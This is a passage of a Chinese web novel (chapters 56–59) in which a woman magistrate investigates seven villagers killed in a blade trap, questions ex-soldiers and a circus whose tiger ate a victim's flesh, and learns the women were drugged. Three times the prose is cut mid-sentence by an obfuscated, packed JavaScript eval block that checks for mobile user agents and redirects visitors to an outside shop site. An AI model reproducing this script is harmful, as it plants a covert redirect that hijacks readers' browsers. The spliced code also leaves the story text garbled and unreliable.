云水谣问道:“你们的陌刀只有这几柄?没有多余的?” “回大人,确实没有。” “可是,空口无凭……” 老余恳求道:“大人,可否带我们去凶案现场看看?” 云水谣点头:“也行,你们跟我来。” 林复让所有的衙役都近身保护云水谣和柳依依,让那些军户远远跟随,不得靠近。 云水谣对林复道:“林公,无需如此。” 林复说道:“大人,这些军户有可能是杀人犯,需防着他们一点。” 林复如此谨慎,倒也没错,因此云水谣便听林复安排了。 走了半个时辰,她们回到了案发现场。 那些军士道:“大人,可否容我们查看一下?” 云水谣答应了,那些军士便四下查看起来。 林复悄悄在云水谣耳边说道:“大人,万一他们销毁什么证据……” 云水谣道:“应该不会,再说,有我们这么多双眼睛盯着呢。” 过了一会,军士老余道:“大人,您请看,这深坑里的陌刀都是新的,而我们家里的陌刀都是旧的,可见来源不同。我们离开战场十年,所住的茅草屋又条件简陋,肯定无法将陌刀保存得这么新。” 云水谣走近深坑一看,见里面的六柄陌刀虽然鲜血淋漓,但仍可以看出,它们是崭新的。即便不是最近新打的,肯定也是保存得非常好。 而这些军士家里的环境,确实无法将陌刀保存完好。 老余道:“大人,陌刀的来源有很多,一些大一点的铁器铺也是能打造的,未必是军士独有。大人可以将我们这些军士的容貌画下,去附近的铁器铺问问,看我们是否曾去打造新的陌刀。我们近期都不曾出门,大人尽可查验。” 柳依依擅长作画,云水谣便让柳依依画下这些军士的相貌。这些军士都十分坦荡地站在柳依依面前,任凭她画。 云水谣觉得,他们的表现倒确实不像凶手。 老余又道:“大人,还有一些证据,可以证明我们的清白。” 云水谣问道:“什么证据?” 56.素食 老余说道:“大人,我刚才说,我们隐居的这十年,一直是吃素的,这话不假。假如我们是吃肉的,家里必定会储存着一些肉,不管是动物肉还是人肉。您可以问问刚才搜屋的衙役,是否看见了肉。” 云水谣看向衙役,衙役们道:“大人,他们的屋子里一点肉也没有。” 老余又道:“您说那些死者中,有一名死者的肉被人割下。如果真是被我们吃了,我们吃之前肯定要挤掉鲜血,或是将肉焯水,撇去血水才吃,那么我们屋子附近肯定会留下人血的气味。而您所带的这几条军犬,对于人血的气味非常敏感。如果它们闻到人血的味道,当场就会大叫,可它们并没有叫。” 云水谣道:“确实如此。” “而且,传言说我们隐居的这十年也不停地吃人肉,那我们肯定要不停地杀人了,我们屋子周围的血腥气肯定会更重。可是我们的屋里屋外并无一丝血腥气,这足以证明我们这十年非但不曾吃人,也不曾杀动物吃。” “嗯。” “第三点,我们都是身强力壮的男子,若是要杀死几个弱女子,直接动手便是,何至于制作如此复杂的陷阱,而且这陷阱还离我们家如此远?我们要一次次地从家里往返陷阱这里来取人肉,难道不怕被人发现吗?鸡鸣山虽少有人来,但也不是绝对无人。请大人仔细想想。” 云水谣觉得,老余说的这些都很有道理。在如此不利的情况下,老余能迅速想出这些理由来为自己辩白,可见老余也不是个简单的人。 云水谣问道:“老余,你当士兵时应该也很优秀吧?” “不敢,小人年轻时当过斥候,后来是一名小军官。” “虽然你说的理由都成立,但这山中只有你们住着,又找不到其他嫌疑人,本官只能将你们暂时收监,以安抚村民。但你们放心,本官会继续查访凶手,不会对你们用刑。” 老余道:“清者自清,我等愿随大人去县衙牢房。” 于是,云水谣便叫这些军士随自己一起下山,另外叫衙役们将深坑里的陌刀拔出来,带回县衙作为物证。 林复道:“大人,我们出来得匆忙,未曾带得镣铐,不如让人先去县衙拿镣铐。” 云水谣道:“林公,这些军士并非犯人,我只是请他们回去协助调查,是以无需戴镣铐。” “好吧。” 衙役们把深坑里的六柄陌刀用力拔了出来,拿在手上,跟着云水谣等人往山下走。 那些军士们都跟随着,衙役们走在最后,监督他们,免得他们逃跑。 柳依依和云水谣并排走着,云水谣对她道:“依依,一会你拿着这些军士的画像,去城中比较大的铁器铺,询问他们是否来打造过陌刀。如果没有,就询问一下最近是否有其他人来打造陌刀。” “好。” “还有,鸡鸣山离虎丘县也很近,你也去虎丘县的铁器铺打听一下。” “嗯。” 离下山还有一段距离,云水谣一边走着,一边小声跟柳依依讨论案情:“依依,对于这个案子,你有什么看法?” 柳依依道:“大人,方才我冷眼旁观,觉得那些军士不像是凶手。他们倒像是一群厚道善良的人,因此才因为十年前不得已吃人肉之事,自我放逐、自我谴责至今。而且,他们所辩解的几点理由,也确实成立。” “是啊。可是,凶手若不是吃人肉的人,为何要将死者腿上的肉割下呢?” “也许,是为了嫁祸给那些军士?如果凶手割下死者的肉,我们很容易联想到,割了这些肉是为了吃。那么就会因此怀疑到有吃人传言的军士们。而真正的凶手,则更能隐藏自己。” “你说得很对。现在还有一个很关键的问题。” “什么问题?” “死者的肉究竟去哪里了?” “我想,凶手可能将肉随手一丢?山上有一些野兽,早晚能发现那些肉,并且吃光的。” “人腿上的肉有十几斤,并不是小数目。如果他随意一丢,就不怕被人发现吗?即便这些肉最终会被野兽吃掉,但在野兽发现之前,也许过路的人就先发现了,这存在着很大的风险。而且,刚才我们兵分三路,找了鸡鸣山很多地方,但我们三队人马都未曾发现人肉。所以我想,凶手一定有别的处理方法。” “要在一座山上藏匿十几斤人肉,可太容易了。比如,他可以把肉往幽深的洞穴一塞,神不知鬼不觉。或者干脆挖个坑,把肉埋下去。只要不在地面上,一般人也发现不了。” “是啊……” 她们讨论不出什么结果,就先专心走路了。 一个时辰后,众人都下了山。 守在山脚的衙役禀告道:“大人,那七个死者已经用马车运回县衙了,另外还有几匹马,供几位大人使用。” 云水谣有些累了,便牵过一匹马准备骑。 柳依依不会骑马,且她奉云水谣之命,要去各大铁器铺查访,便说自己去附近租一辆马车便好,云水谣就让她离开了。 云水谣看着已经走得筋疲力尽的衙役和军士们,对林复道:“林公,劳烦您去附近租几辆马车,让众衙役和军士乘马车回县衙,这样轻松些。” 林复道:“这样也好,正好柳姑娘要去租马车,我便与她同去吧。” “好。” 林复和柳依依一起离开了。云水谣让众衙役和军士原地休息,等待马车到来。 藕塘村的村民们围了上来,道:“大人,您果然把这些吃人的军户找到了!” “杀了他们,为死去的村妇报仇!” 云水谣道:“各位村民,不要激动,他们未必是凶手,此事还有待调查。若他们不是凶手,却被你们误伤,你们也有罪责的。” 听了这话,激动的村民们才停了下来,只是还恨恨地盯着那些军户,似乎认定了他们就是凶手。 而那些军户们只是低头而已,并不跟他们争吵。 过了半个时辰,县丞林复带来几辆马车,让衙役和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14099799|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军士们都坐上马车,几只军犬也一并坐上马车。 接着,林复对云水谣道:“大人,柳依依姑娘已经另乘一辆马车,去铁器铺调查了,她让我跟您说一声。” “嗯,知道了。” 见一切事情已安排完毕,云水谣也骑上了马,准备回县衙。 村民们想留云水谣吃饭,被云水谣婉拒。 她骑着马,慢慢地溜达,顺便想一想案情。 离开藕塘村不远,有一座大宅子,云水谣竟听见那宅子里传来老虎的吼叫声。 她吓了一跳,以为自己听错了,便靠近了再仔细听,结果又听见了老虎的叫声。 她不敢逗留,驱马离开,离那大宅子远了些。 附近有几个小孩在玩耍,云水谣下马问道:“你们知道那大宅子里有什么吗?” “知道,那里面住着一个马戏团。” “马戏团?” “对。那座大宅子是我们藕塘村的,平时都租给过路的客人住。前几天,有个马戏团来了,租了那座宅子。他们还有猴子、马和老虎呢,我们经常偷偷去看。不过马戏团的人说,他们要等过年才开始表演,这几天不让偷看。我们就经常跑到这附近,也许他们排练节目的时候我们也能看着。” “原来是马戏团……那老虎是不是用笼子关起来的?” “当然,要不然老虎跑出来伤了人可怎么好呢?” 听了这话,云水谣自嘲地笑了笑。原来是马戏团,自己刚才虚惊一场。 她正准备离开,忽然听见老虎一声大叫:“我不要吃牛肉!我要吃人肉!” 老虎只是发出嘶吼,在别人听来没什么,但云水谣懂动物的语言,听出老虎所说的是这个意思。 云水谣吓了一跳,把马拴在一边,悄悄走到大宅院的门口,透过门缝往内偷看。 几个在附近玩的孩子以为她也想偷看节目,便围了过来。云水谣把手指放在唇边,发出“嘘”的一声,示意孩子们安静。 孩子们安静了下来,但还是在云水谣周围。云水谣便从荷包里拿出一些糖果,分给孩子们,让他们走远一些吃。 这下,孩子们终于不缠着她了,她也有精力观察里面的情况。 只见院子里放着一个大铁笼,铁笼里面有一只吊睛白额虎,看着病恹恹的。 铁笼旁边,有两个穿黑色短打的汉子,拿着牛肉在喂老虎。可是老虎把头偏过去,不肯吃牛肉。 两个汉子商议道:“这老虎怎么回事,鸡肉不吃,猪肉不吃,牛肉也不吃,我们已经把附近能买到的肉都买遍了……” “听说圈养的猛兽在吃过一次人肉后,就不再吃别的肉了,只能打死,否则就会开始伤人,看来是真的……早知道前几天赶路时,我不该捡路边的肉给老虎吃。我本以为那是动物肉,没想到是死尸身上的肉。” “那具死尸已经被啃咬得不成人形了,尸骨在草丛深处,肉被扔得东一块西一块的,你没认出是人肉也正常。” 57.衬裙 “那现在怎么办?它什么都不吃,总不能看着它活活饿死?当初为了弄到这只老虎,咱们可花了不少钱,而且很多节目都需要这老虎出场的。” “依我说,不如现在打死算了,免得它一会饿极了,把我们都吃了。” “那不能,它被关在笼子里呢。哎,昨天早上不知是谁,往咱们这院子里扔进来一袋肉,我拿给老虎吃,它又肯吃。怎么现在喂它它又不吃了?” “该不会,昨天早上那袋不知来路的肉,也是人肉吧?” “这不可能吧?谁杀了人还特意将人肉割下,扔到别人院子里啊?” 这时,那老虎说道:“昨天早上我吃的肉就是人肉,我还想吃,你们再去弄一点。” 不过,这话别人是听不懂的,只有云水谣听懂了。 她大吃一惊,莫非死去村妇的肉,就是被这老虎吃了? 院子里还拉着一根绳子,上面晒着一些衣服。在绳子的一角,竟晒着一块橘色的布。这布的颜色和形状,跟那个死去的村妇春花的衬裙一模一样。 莫非,凶手就是用这块布包了死者春花的肉,再扔到这宅院里? 云水谣想马上进去盘问一下马戏团的人,但又怕自己独力难支,因此先骑上马,追上衙役们坐的马车。 县丞林复也在马车里,见云水谣来了,问道:“大人,有什么事?” 云水谣道:“林公,你马上选几个不太疲惫的衙役,跟我一起回藕塘村,我有一些事要查。” “好。” 林复便选了六名精神状态还不错的衙役,跟随云水谣往回走,他自己也跟着云水谣。 一行人重新来到了藕塘村的大宅院附近,衙役上前叩门,马戏团的成员打开了门,有些惊讶:“几位差爷,有事吗?” 云水谣道:“本官是洛县县令,有事要问。” “大人,要不就在门口问吧?我们是马戏团,院子里养了一些动物,还有老虎,怕吓着您。” “没事,进去吧。” 云水谣走了进去,马戏团的人来不及阻止,便赶紧搬了椅子来给云水谣坐。 云水谣问道:“你们这儿管事的是谁?” 一个矮胖的中年人出来回话:“回大人,小人是马戏团的班主,赵杰。” 云水谣指着绳子上晒着的橘色布块,问道:“这块布你们是从哪里来的?” 赵杰答道:“说来奇怪,我们也不知道是从哪里来的。昨天清晨,伙计们起床时,见院子里被扔了一包肉,就是用这块橘色的布包裹着的。我们养着的老虎很久没吃东西了,伙计就试着用这包肉去喂老虎,谁知一直挑食的老虎竟把那些肉全吃光了。我见这块布还不错,可以留着包东西,便让伙计洗干净,晒在此处了。” 云水谣对一个衙役道:“你去藕塘村找死者春花的丈夫,让他过来。” “是。” 云水谣接着问班主赵杰:“那包肉有多少?” 赵杰答道:“估摸着有十几斤吧。” “你们没看看是什么肉,就给老虎吃了?” “当时确实没仔细看,伙计因惦记着老虎饿着肚子,就先拿肉去喂老虎了。幸好老虎吃了那些肉,否则还不知道饿成什么样子呢。大人不知道,这只老虎自从几天前误食了人肉后,就不肯吃其他肉了,宁可饿着,我们正发愁呢。” “是吗?老虎如何误食人肉,能详细说说吗?” “是。我们这个戏班子,之前在虎丘县那边表演。后来想着,洛县离虎丘县很近,且洛县百姓从未见过我们的表演。如果我们来洛县,说不定能大赚一笔,因此我们便过来了。途中经过一座山,伙计看见路边有一大块肉,便捡起来让老虎吃了。 结果吃完才发现,草丛深处倒着一具骸骨,看骸骨的衣服,应该是一名乞丐。骸骨上的肉七零八落的,散落在路边,伙计刚才捡的肉应该是人肉。但吃都吃了,也顾不了那么多了,我们便继续赶路。谁知从那天以后,老虎就不吃别的肉了,宁可一直挨饿。我们想尽了办法,买了各种肉,它都不要。我想,总不能让它以后都吃人肉吧? 正在没办法的时候,昨天早上,院子里却突然多了一袋子肉,不知道是什么肉。伙计抱着试试看的想法,喂给老虎,老虎竟吃了。多亏吃了那一顿,否则饿到了今天,兴许就饿死了。” 云水谣问道:“你家的老虎不吃别的肉,偏偏吃那一袋肉,难道你们就没怀疑过,那一袋是人肉?” “这……现在想起来,也许是……但当时真的没想那么多……” “把肉扔进来的是谁,你们可曾看见?” “没看见,当时伙计来到院子中时,那袋肉就已经被扔在那里了。” “大概是什么时辰?” “是昨天早上巳时六刻左右。” “你们是马戏团,起得这么迟?” “大人有所不知,因连日来排练节目太过辛苦,这些天我们就睡得晚了些。” 云水谣仔细算了算时辰。 那七名妇女是在卯时二刻左右出发,去鸡鸣山上挖笋。一个多时辰后,也就是辰时三刻到辰时四刻之间,她们遇害。凶手杀了她们后,在很短的时间内布置好现场,割下死者春花的大腿肉,用衬裙包好,然后下山。从山上到这座大宅院刚好一个多时辰,在巳时六刻左右,他将这一大包肉扔进宅院里,然后偷偷离开。 这样,时间倒是能对上了。 但是,就会产生几个问题: 第一,死者为什么要割下春花的肉,并将其带下山,扔进这座大宅院? 之前云水谣推测,他割下死者的肉,是为了嫁祸给山中的军户,造成军户为了吃人肉而杀人的假象。 那么,要达成这个目的,他只需要将肉割下,然后随便往哪个山洞一塞,或是挖个地洞一埋,就可以了,何必将这十几斤肉带下山呢? 带着这些肉下山,既不方便,也容易留下蛛丝马迹。 而且,就算他因为什么目的,将这些肉带下山,却为什么要扔进马戏团所居住的这座大宅院呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14112105|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道他事先知道马戏团里有只老虎,老虎非要吃人肉不可,自己只要将人肉扔进去,就会被老虎吃掉,彻底毁灭证据? 但这不可能,凶手怎么会知道这么多呢?除非,凶手就是马戏团内的人。他为了让老虎吃上人肉,才会杀人割肉。 可这又说不通。为了养活老虎而杀人,不符合常理。一旦被发现,自己也是死路一条。马戏团到处漂泊讨生活,只想挣点钱花,万万不敢惹出这种事端。 而且,马戏团的人为何要一下子杀死这么多村妇?他们又是如何得知村妇们要去鸡鸣山挖笋的? 再者,如果真是马戏团的人杀人取肉,为何不销毁这片衬裙,而是堂而皇之地挂出来,生怕别人发现不了? 这片衬裙既是藕塘村的村妇所有,村民们来来往往,很容易发现端倪的。 所以,如果说马戏团的人是凶手,又有许多不合理之处。 若凶手不是马戏团的人,他心里的想法应该是要处理掉这些人肉,不让任何人看见才是。那么,他就算要把人肉丢弃,也不会丢进有人住着的宅院中,而是丢到荒郊野外,这才符合常理。 第二个问题,就是凶手将人肉丢进宅院时,已经是巳时六刻了。这个时间接近午时,大部分人都已经起床了,并且开始准备午饭了。 藕塘村人虽不多,但他要避过村民的耳目,携带一包十几斤的肉并丢弃,也并不是一件容易的事。 那么,凶手是如何做到的? 云水谣正在思索之际,死者春花的丈夫来了。 云水谣指着那块橘色的衬裙,问道:“你的妻子春花昨日穿的衬裙,是不是这个?” 那个村民道:“是的,这确实是她衬裙的面料……她尸身上的衬裙少了一块,从形状上来看,应该是这块无疑了。大人,这块布是哪里来的?” 云水谣便把马戏团班主的话,简略告诉了他。 村民哭道:“难道杀死春花的,就是马戏团的人?” 马戏团班主赵杰赶紧说道:“别胡说啊,不是我们!” “如果不是你们,为何你们这儿会有我亡妻的衬裙?而且春花腿上的肉,也是被你们的老虎吃了……我看,你们就是为了这只老虎,才杀掉了这么多人!” “怎么可能,这像是正常人会做的事吗?杀人要偿命啊!” “鸡鸣山少有人去,如果村妇们的尸体没被人发现,你们就不用偿命了。” “你这话说的,那我们要是把那些村妇杀了,埋在深山里,再一趟趟地去割肉回来,次数多了,你们肯定会起疑心的,我们为什么要这么做?” “这……” 这个村民无言以对。 这里的动静引起了其他村民的注意,他们都来到这座大宅院,问清了事情的前因后果。 许多村民都说道:“大人,肯定是马戏团干的!把他们的人都抓起来!” 云水谣无奈道:“你们一会说是山中的军户干的,一会说是马戏团干的,太过武断了吧?” 58.遗物 村民们吵嚷道:“说不定是这两拨人合谋!大人细想,这山中军户也要吃人肉,马戏团的老虎也要吃人肉,他们两拨人对人肉的需求量是很大的,所以合谋杀害了我们村的七名村妇,非常合理啊!” 云水谣道:“大家先不要吵,办案要讲证据,不能主观臆测。本官有个问题要问你们。” “大人,您问吧。” “昨天早上,那七个村妇要一起去鸡鸣山挖笋,是临时说的,还是早几天就说了?” “大人,她们七个都是昨天突然起得很早,跟家人说,约了人一起挖笋,然后就走了,之前我们并不知情。” “也就是说,她们是临时起意?” “应该是的。” “既然这样,马戏团的人就不会事先知道她们今天早上要进山,更别提尾随了。马戏团成员这些天都起得很晚,应该也不存在起了个大早,看见几名妇女进山,突然起了尾随杀人的心思的可能。” 村民道:“大人,说不定他们说自己起得晚是在说谎,也许他们早就盯上了我们村的人,想杀几个喂给他们的老虎。也许他们昼夜监视着我们,在昨天清晨发现几名妇女落了单,就尾随杀人。” 马戏团成员纷纷喊冤,乱成一团。 班主赵杰喝止了他们,道:“你们一人一句的,人家都听不清,还是我来说吧。” 接着,赵杰对云水谣道:“大人,我们这些天都没出过门啊。马上就过年了,我们都在宅院里排练节目,就连每天吃的菜也是叫村民送来的。如果我们真的尾随那七名妇女,想杀了他们,那派一个人去肯定是不够的,肯定要两三个人跟踪,甚至更多。如果我们马戏团内好几个人外出去鸡鸣山,这些村民难道会看不见吗?” 赵杰看向那些村民:“昨天早晨,你们可曾看见我们马戏团的人成群结伴地外出?” 村民道:“昨天那几名村妇离开的时间本来就很早,在卯时二刻左右,我们都未曾起床,就算你们尾随那些村妇,我们也看不见啊。” “这……” 见两边各执一词,没法决断,云水谣道:“诸位,先别吵了。不如这样,本官先搜查一下马戏团,看看有没有可疑之处。” 村民们道:“也好,就听大人的。” 村民们一拥而上,想进去搜,云水谣赶紧制止:“本官说的搜查,是让衙役搜,你们都退后。” 村民们只得退后。 这几名衙役之前跟云水谣进山寻人,已经很累了,但现在也不得不强打精神,进去搜查。 班主赵杰道:“诸位伙计,咱们都把自己的箱笼打开,方便各位差爷检查。” 伙计们纷纷走了进去,打开箱笼。 见他们如此配合,云水谣心中的疑心也减了几分。 过了一会,衙役们回话:“禀大人,没发现其他异常,但是搜出几柄陌刀,跟那深坑里的陌刀是同一形制。” 接着,衙役们呈上五柄半新不旧的陌刀。 云水谣有些头疼:“怎么这里也有陌刀?” 班主赵杰问道:“大人,有什么问题吗?” “那七名村妇是被陷阱里的陌刀刺死的,就是你们马戏团这种。” “这……大人,我们是冤枉的啊!” 村民们群情激奋:“凶器都找到了,还说不是你们!” 马戏团的伙计也辩解:“难道天底下有刀的都是凶手不成?” 两拨人快要打起来了,云水谣赶紧站在中间,大声喝止:“都安静!有凶器不代表就是凶手。班主,你先说说你们的陌刀是哪里来的,买这些陌刀做什么用。” 班主赵杰道:“回大人,我们马戏团的节目中,有一些节目是需要用到兵器的,因此我们便向百姓购买了这几把半旧的陌刀,已经买了五六年了。铁器铺的新陌刀太贵,所以我们才买二手的。有些百姓从军时,可能会自己打造武器,比如陌刀等物,等退伍了就把武器带回家。但陌刀在日常生活中不太用得到,所以退伍的百姓有时候会出售自己用过的陌刀。” 班主说的确实是实情,购买渠道听起来没问题。 大夏的军制,百姓从军时,可以自带兵器,也可以由军营发放兵器。但军营发放的兵器可能会比较老旧,或是不趁手。有时候参军人数太多,还会出现一部分士兵分不到兵器的情况。尽管后面会补上,但一开始没有领到兵器的话,就会比别人少了一些操练的时间,最后训练的结果不如别人,错失一些被选拔的机会。 所以有些有钱的百姓会自己打造好兵器,带到军中去。所谓工欲善其事,必先利其器,有了崭新而锋利的兵器,上阵杀敌会更趁手些,也更容易立功。而士兵退伍时,自己带去的兵器便可以带回,不需要上交。 云水谣问:“你确定你们马戏团只有这几把陌刀?” “是的大人,我们一共只买了五把。外地人进入洛县时,若携带了兵器,需要向官府报备数量和用途。四天前我们来到洛县时,已经向官府的小吏报备过了,您去询问小吏便知。” “当时替你们登记的小吏是谁?” “不记得名字了,他好像姓田。” “是田长生吗?” “好像是。” 官府只有一个姓田的小吏,叫做田长生。班主所言的,应该是他了。 云水谣问林复:“林公,田长生在本县吗?” “在,他就是本县之人,现在休假在家,我去将他叫来。” “嗯。” 在等待田长生到来的时间里,云水谣仔细看了看马戏团的陌刀。这些陌刀和军户们的陌刀一样,也是半新不旧的,跟陷阱里那几柄崭新的陌刀并不相同。所以,仅凭陌刀,没法判定马戏团的人有嫌疑。 马戏团的箱笼还未合上,这时,忽然有村民指着那些箱笼道:“那几名村妇身上的首饰、钱袋在这些箱子里!” 云水谣大惊:“你们确定吗?” 这些村民都是那七个死者的亲人,对这些遗物很熟悉。他们冲上前去,把属于死者的东西拿了出来,对云水谣道:“大人,我们很确定这就是死者的首饰和钱袋,不止我们对这些东西熟悉,其他村民应该也有见过。” 藕塘村的其他村民来辨认,都说这些东西属于七名死者。他们更加觉得马戏团的人就是凶手,几乎要动手了。 云水谣道:“大家先别激动,先问问马戏团的人是如何得到死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14125648|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者的遗物的。赵班主,你来说。” 班主赵杰有些惊讶地说:“大人,这些竟是七名死者的遗物吗?我们不知道……我们平时排练节目,会把很多东西拿出来用,用完先放地上,等晚上要睡觉了再随手一收,根本注意不到多了什么、少了什么。” 云水谣道:“那这些首饰、钱袋到底是不是你们马戏团的东西,你应该清楚吧?” “这个还真不清楚,我们的杂物太多了,而且伙计们经常会买点什么回来,没法一一记录。只有一些大件物品知道具体的数量。这些也许真是死者遗物,但也许是被谁塞进来的,是为了嫁祸给我们,请大人明察啊。” 云水谣皱眉思索着。有个马戏团伙计道:“大人,昨天早上,我们堆放了许多杂物在院子里,等到晚上才收到箱笼里。也许凶手把死者的肉丢进来时,也顺便把死者们的首饰、钱袋扔到了我们的杂物堆里。我们没细看,就收了起来。” 云水谣道:“如此解释,倒也能自圆其说。当然,这只是一种可能,不能证明你们无辜。但村民们也先别急,此事还有待调查。来人,先把死者的遗物收起来。” 几个衙役便把死者的首饰、钱袋等物品都装了起来。 有云水谣作证,村民们暂时不敢造次。马戏团众人都是一副焦急、冤枉的表情,看起来不像作假。 此时已是黄昏时分,云水谣忙了一天,饿得很了,便让村民们、马戏团成员各自回家做饭,等大伙都吃饱了,再来讨论案情不迟。 至于官府众人的饭食,云水谣本想派人去买,却见自己的两个丫环兰心、彩月驾着一辆马车过来了。 她们看见云水谣,跳下马车,道:“小姐,您从吃了午饭之后就出去办案,一直没回来,我们想着您应该饿了,所以就做了饭送来。” 云水谣问:“带了多少饭菜?可够众衙役吃的?” “带了许多呢,都在马车里,估摸着够三十人吃的。因今晚做的是大锅饭,口味上可能不太精致。” “没事,有得吃就行,先拿出来吧。” 兰心、彩月掀开马车帘子,只见里面有一个大木桶,装着杂粮米饭;另外有几个宽口铜甑,装着各色菜肴,分别是蘑菇炒鸡蛋、芹菜炒牛肉、酸辣土豆丝、凉拌黄瓜。因汤羹不方便携带,就没做汤羹,带了许多水壶来,里面装着温水。 云水谣身边的下属虽只有六七人,但众人都饿极了,每人都狼吞虎咽,吃了许多,连云水谣都吃了三碗饭,水也喝了许多。 最后这些饭菜只剩下三分之一左右了,村里一些没做饭的村民也过来吃了些,最后都吃光了。 有些村民为了找那七个失踪的农妇,从昨晚找到今天,走了十几个时辰,确实已经没力气做饭了。还有那七个农妇的家人们,因太过悲伤,也没做饭,吃云水谣她们的饭菜倒正好。 待众人都吃完、收拾完毕后,县丞林复也带着小吏田长生过来了。 田长生是个清秀斯文的年轻人,平时沉默寡言,但做事勤谨麻利,云水谣虽然跟他说话不多,但对他的印象还不错。 田长生对云水谣行礼,云水谣道:“不必多礼。这个马戏团进入洛县时,是向你报备的吗?” 59.迷药 田长生道:“是的。当时他们确实只携带了五柄陌刀,我还亲自检查过,没有问题。” 云水谣把搜到的五柄陌刀拿过来,问道:“是这五柄?” “是的。” 既然马戏团确实只带了这五柄陌刀,就说明陷阱里的那六把陌刀应该不是他们的。当然,也不排除他们在这几天偷偷去铁器铺买新陌刀的可能。 如果一个人决定杀人,首先便是要寻一把锋利的武器,太旧的怕不合用。 现在,也只能先等柳依依的调查结果了。 由于马戏团众人虽嫌疑不大,但死者春花的肉毕竟是被他们的老虎所吃,他们这里还有春花的一块衬裙,所以云水谣暂时将马戏团的人也收监了。 班主赵杰叫屈道:“大人,真的不是我们啊。眼瞅着就过年了,我们要是在牢里过,今年是挣不到钱了……” 云水谣道:“稍安勿躁,本官没有说一定是你们。但你们有嫌疑,只能先收监。本官会尽快破案。如果你们真的无辜,那也会尽快释放的。” 马戏团众人只得跟着衙役离开。 云水谣安抚了村民几句,也回到了县衙。 此时已经天黑,天气也很冷,她裹紧了棉袍,在书桌上写下一些线索和分析。 她已经累得很了,可责任感让她没法休息。 两个丫环煮了热茶,她喝了之后,感觉好多了。 且说仵作自从回到县衙后,重新给那七具尸体验了尸,刚写好验尸格目,得知云水谣回来了,便来到书房见云水谣。 云水谣问道:“可有什么新的发现?” “回大人,我解剖了这七具女尸,发现她们的喉咙和胃部都有黄米糕的残渣。而这些残渣经过检验,里面有一种会让人昏迷的药。可以推测,这些死者生前应该是服用了下过药的黄米糕,陷入昏迷,然后才被杀了的。” “原来如此……凶手将这七名妇女迷晕之后,再将她们扔进深坑中就很容易了,这些人不会挣扎。那么,一个人也能完成这件事。” 仵作道:“确实如此,不过如果凶手是个普通的女子,还是没法完成的。因为一个没有练过功夫的弱女子要把其他七名女子扔进坑里,恐怕没有这个力气。所以,可以将凶手锁定为男子,或是力气很大的女子,或练过武的女子。” 仵作分析的有道理。那个深坑并不是遍布刀剑,里面的六把陌刀其实在偏中间的位置。也就是说,如果要把那七名妇女扔到陌刀上面,要先将其拎起来,再甩出去,一般的女子是没有这么大力气的。 云水谣点头:“你说得对,只是这范围仍是有点大。” “大人,您忽略了一件事。” “什么事?” “这七名死者并无挣扎的痕迹,说明她们生前服用糕点是自愿的,且对凶手并不设防,没想到凶手会在糕点中下迷药。所以,凶手的范围可以锁定为这些女子非常信任、非常熟知之人。” “你说得对,多亏你提醒。从这个角度去想,能让这七名妇女同时信任的人,莫非就是她们村里的人?因为这七名女子,除了同在一个村之外,其他的社会关系恐怕并不重合。她们不会拥有共同的亲戚、至交好友。” “大人,其实除了她们村里人,也不能排除她们认识的所有亲朋好友。试想一下,如果您的母亲送来糕点,您身边刚好有几个朋友,那么她们也会毫不犹豫地吃下糕点,这是出于对您和您母亲的信任。哪怕您的朋友并不认识您的母亲。” “确实如此。” 这七名死者关系不错,只要是其中一名死者熟悉之人送来的吃食,她们七人自然都会毫不设防地吃下。 只是这么一来,要排查的范围就大了。 云水谣觉得没什么头绪,便让仵作交上验尸格目,让他回家休息了。 云水谣心里甚至希望,凶手就是那些军户或是马戏团成员的其中一人,这样破案会简单很多。 但是理智告诉她,事情并不是如此简单。很有可能那些军户和马戏团成员都不是凶手,凶手是其他人。那么,寻找真正的凶手就更加困难。 她觉得头很疼,想好好休息一下。 正好柳依依去各大铁器铺询问情况,估计要两三天才能办完,云水谣打算趁这段时间好好休息。 至于那三条军犬,她派人送还给杜羽了。 云水谣将笔墨放好,回了卧室,略微洗漱一下,就直接休息了。 等她醒来时,已经是第二天的黄昏。她觉得自己这一觉睡得太久了,但确实恢复了不少体力,只有双脚还十分酸痛,应该是昨日走路走多了。 云水谣叫道:“兰心,彩月……” 两个丫头跑了进来,手里都拿着年糕。兰心往云水谣手里塞了一根没吃过的年糕,笑道:“小姐,快吃吧,这是刚打好的年糕,还软乎着呢,再放一会就硬了。” 云水谣咬了一口,糯米的清香在嘴里化开,清甜的味道直冲脑门,年糕的热气顺着肠胃走遍全身,她觉得心情都好了起来。 她边吃边问:“哪来的年糕?” 